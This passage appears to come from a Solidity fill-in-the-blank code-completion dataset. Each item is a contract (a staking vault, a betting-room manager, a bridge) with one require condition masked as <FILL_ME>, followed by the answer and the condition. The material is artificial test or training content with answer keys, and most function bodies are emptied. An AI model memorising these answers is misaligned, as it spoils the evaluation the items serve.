// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive { // [wad]
require(approval(user, msg.sender), "StakingVault/Owner must consent");
require(<FILL_ME>)
//1. Add locked tokens
uint256 prevStakedAmount = lockedStakeable[user]; //[wad]
unlockedStakeable[user] = _sub(unlockedStakeable[user], wad);
lockedStakeable[user] = _add(lockedStakeable[user], wad);
stakedAmount = _add(stakedAmount, wad);
require(stakedAmount <= stakedAmountLimit || wad < 0, "StakingVault/Cannot be over staked token limit");
//2. Set reward debts for each token based on current time and staked amount
_payRewards(user, user, prevStakedAmount);
//3. Set d3O
totalD3O = _add(totalD3O, wad * _int256(stakedMintRatio));
d3O[user] = _add(d3O[user], wad * _int256(stakedMintRatio));
emit Stake(wad, user);
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| getOwnedD3O(user)>=lockedStakeable[user]*stakedMintRatio,"StakingVault/Need to own d3O to cover locked amount" | 255,905 | getOwnedD3O(user)>=lockedStakeable[user]*stakedMintRatio |
"StakingVault/Owner must consent" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
require(<FILL_ME>)
//1. Check that liquidated does not own d3O they claim to
require(getOwnedD3O(liquidated) <= lockedStakeable[liquidated] * stakedMintRatio - rad, "StakingVault/Account must not have ownership of tokens");
uint256 liquidatedAmount = rad / stakedMintRatio; // rad / ray = wad
uint256 prevStakedAmount = lockedStakeable[liquidated]; //[wad]
//2. Take d3O from liquidator's account to repay
require(d3O[liquidator] >= rad, "StakingVault/Insufficient d3O to liquidate");
d3O[liquidator] -= rad;
totalD3O -= rad;
//3. Settle staking token amounts
lockedStakeable[liquidated] -= liquidatedAmount;
unlockedStakeable[liquidator] += liquidatedAmount;
stakedAmount -= liquidatedAmount;
//4. Pay out rewards to the liquidator
_payRewards(liquidated, liquidator, prevStakedAmount);
emit LiquidationWithdraw(liquidated, liquidator, rad);
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| approval(liquidator,msg.sender),"StakingVault/Owner must consent" | 255,905 | approval(liquidator,msg.sender) |
"StakingVault/Account must not have ownership of tokens" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
require(approval(liquidator, msg.sender), "StakingVault/Owner must consent");
//1. Check that liquidated does not own d3O they claim to
require(<FILL_ME>)
uint256 liquidatedAmount = rad / stakedMintRatio; // rad / ray = wad
uint256 prevStakedAmount = lockedStakeable[liquidated]; //[wad]
//2. Take d3O from liquidator's account to repay
require(d3O[liquidator] >= rad, "StakingVault/Insufficient d3O to liquidate");
d3O[liquidator] -= rad;
totalD3O -= rad;
//3. Settle staking token amounts
lockedStakeable[liquidated] -= liquidatedAmount;
unlockedStakeable[liquidator] += liquidatedAmount;
stakedAmount -= liquidatedAmount;
//4. Pay out rewards to the liquidator
_payRewards(liquidated, liquidator, prevStakedAmount);
emit LiquidationWithdraw(liquidated, liquidator, rad);
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| getOwnedD3O(liquidated)<=lockedStakeable[liquidated]*stakedMintRatio-rad,"StakingVault/Account must not have ownership of tokens" | 255,905 | getOwnedD3O(liquidated)<=lockedStakeable[liquidated]*stakedMintRatio-rad |
"StakingVault/Insufficient d3O to liquidate" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
require(approval(liquidator, msg.sender), "StakingVault/Owner must consent");
//1. Check that liquidated does not own d3O they claim to
require(getOwnedD3O(liquidated) <= lockedStakeable[liquidated] * stakedMintRatio - rad, "StakingVault/Account must not have ownership of tokens");
uint256 liquidatedAmount = rad / stakedMintRatio; // rad / ray = wad
uint256 prevStakedAmount = lockedStakeable[liquidated]; //[wad]
//2. Take d3O from liquidator's account to repay
require(<FILL_ME>)
d3O[liquidator] -= rad;
totalD3O -= rad;
//3. Settle staking token amounts
lockedStakeable[liquidated] -= liquidatedAmount;
unlockedStakeable[liquidator] += liquidatedAmount;
stakedAmount -= liquidatedAmount;
//4. Pay out rewards to the liquidator
_payRewards(liquidated, liquidator, prevStakedAmount);
emit LiquidationWithdraw(liquidated, liquidator, rad);
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| d3O[liquidator]>=rad,"StakingVault/Insufficient d3O to liquidate" | 255,905 | d3O[liquidator]>=rad |
"MANAGER_PERMISSION_DENIED" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
contract Master is AccessControl, ReentrancyGuard, Pausable {
bytes32 public constant ROLE_RANDOMIZER = keccak256("ROLE_RANDOMIZER");
bytes32 public constant ROLE_PAUSER = keccak256("ROLE_PAUSER");
bytes32 public constant ROLE_MANAGER = keccak256("ROLE_MANAGER");
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.Bytes32Set;
using EnumerableSet for EnumerableSet.AddressSet;
struct Room {
bytes32 id;
bytes32 network;
uint32 chainID;
address creator;
uint256 betLimitPerDay;
uint256 maxBetPerPlayer;
uint32 apiPermission;
}
mapping(uint256 => bytes32) private roomsIndex;
mapping(bytes32 => Room) private rooms;
uint256 _totalRoom;
/// @notice Emitted when reserves is deposited.
event RoomUpdated(
bytes32 indexed roomId,
address indexed contractAddress,
uint256 betLimitPerDay,
uint256 maxBetPerPlayer,
uint32 apiPermission
);
constructor() {
}
modifier onlyAdmin() {
}
modifier onlyRoomManager() {
require(<FILL_ME>)
_;
}
function addManager(address _addressToWhitelist) public onlyAdmin {
}
function createRoom(
bytes32 roomId,
address creator,
bytes32 network,
uint32 chainID
) external nonReentrant whenNotPaused {
}
/// @notice setting the room limit. Only available to room managers.
function setRoomLimit(
uint256 betLimitPerDay,
uint256 maxBetPerPlayer,
uint32 apiPermission,
bytes32 roomId
) external nonReentrant whenNotPaused onlyRoomManager {
}
function getTotalRoom() public view returns (uint256) {
}
function getRoomByIndex(uint256 index) public view returns (Room memory) {
}
function getRoom(bytes32 roomId) public view returns (Room memory) {
}
function getRoomList() public view returns (Room[] memory) {
}
function pause() external whenNotPaused onlyAdmin {
}
function unpause() external whenPaused onlyAdmin {
}
}
| hasRole(ROLE_MANAGER,msg.sender),"MANAGER_PERMISSION_DENIED" | 255,990 | hasRole(ROLE_MANAGER,msg.sender) |
"ROOM_NOT_EXISTS" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
contract Master is AccessControl, ReentrancyGuard, Pausable {
bytes32 public constant ROLE_RANDOMIZER = keccak256("ROLE_RANDOMIZER");
bytes32 public constant ROLE_PAUSER = keccak256("ROLE_PAUSER");
bytes32 public constant ROLE_MANAGER = keccak256("ROLE_MANAGER");
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.Bytes32Set;
using EnumerableSet for EnumerableSet.AddressSet;
struct Room {
bytes32 id;
bytes32 network;
uint32 chainID;
address creator;
uint256 betLimitPerDay;
uint256 maxBetPerPlayer;
uint32 apiPermission;
}
mapping(uint256 => bytes32) private roomsIndex;
mapping(bytes32 => Room) private rooms;
uint256 _totalRoom;
/// @notice Emitted when reserves is deposited.
event RoomUpdated(
bytes32 indexed roomId,
address indexed contractAddress,
uint256 betLimitPerDay,
uint256 maxBetPerPlayer,
uint32 apiPermission
);
constructor() {
}
modifier onlyAdmin() {
}
modifier onlyRoomManager() {
}
function addManager(address _addressToWhitelist) public onlyAdmin {
}
function createRoom(
bytes32 roomId,
address creator,
bytes32 network,
uint32 chainID
) external nonReentrant whenNotPaused {
}
/// @notice setting the room limit. Only available to room managers.
function setRoomLimit(
uint256 betLimitPerDay,
uint256 maxBetPerPlayer,
uint32 apiPermission,
bytes32 roomId
) external nonReentrant whenNotPaused onlyRoomManager {
require(<FILL_ME>)
rooms[roomId].betLimitPerDay = betLimitPerDay;
rooms[roomId].maxBetPerPlayer = maxBetPerPlayer;
rooms[roomId].apiPermission = apiPermission;
emit RoomUpdated(
roomId,
msg.sender,
betLimitPerDay,
maxBetPerPlayer,
apiPermission
);
}
function getTotalRoom() public view returns (uint256) {
}
function getRoomByIndex(uint256 index) public view returns (Room memory) {
}
function getRoom(bytes32 roomId) public view returns (Room memory) {
}
function getRoomList() public view returns (Room[] memory) {
}
function pause() external whenNotPaused onlyAdmin {
}
function unpause() external whenPaused onlyAdmin {
}
}
| rooms[roomId].creator!=address(0),"ROOM_NOT_EXISTS" | 255,990 | rooms[roomId].creator!=address(0) |
"wrong operator" | pragma solidity ^0.7.0;
contract BridgeLogic {
using SafeMath for uint256;
string public constant name = "BridgeLogic";
bytes32 internal constant OPERATORHASH = 0x46a52cf33029de9f84853745a87af28464c80bf0346df1b32e205fc73319f622;
uint256 public constant TASKINIT = 0;
uint256 public constant TASKPROCESSING = 1;
uint256 public constant TASKCANCELLED = 2;
uint256 public constant TASKDONE = 3;
uint256 public constant WITHDRAWTASK = 1;
address private caller;
BridgeStorage private store;
mapping(bytes32 => bool) finishedTasks;
constructor(address aCaller) {
}
modifier onlyCaller(){
}
modifier operatorExists(address operator) {
require(<FILL_ME>)
_;
}
function resetStoreLogic(address storeAddress) external onlyCaller {
}
function getStoreAddress() public view returns(address) {
}
function supportTask(uint256 taskType, bytes32 taskHash, address oneAddress, uint256 requireNum) external onlyCaller returns(uint256){
}
function cancelTask(bytes32 taskHash) external onlyCaller returns(uint256) {
}
function removeTask(bytes32 taskHash) external onlyCaller {
}
function markTaskAsFinished(bytes32 taskHash) external onlyCaller {
}
function taskIsFinshed(bytes32 taskHash) external view returns (bool) {
}
}
| store.supporterExists(OPERATORHASH,operator),"wrong operator" | 255,996 | store.supporterExists(OPERATORHASH,operator) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.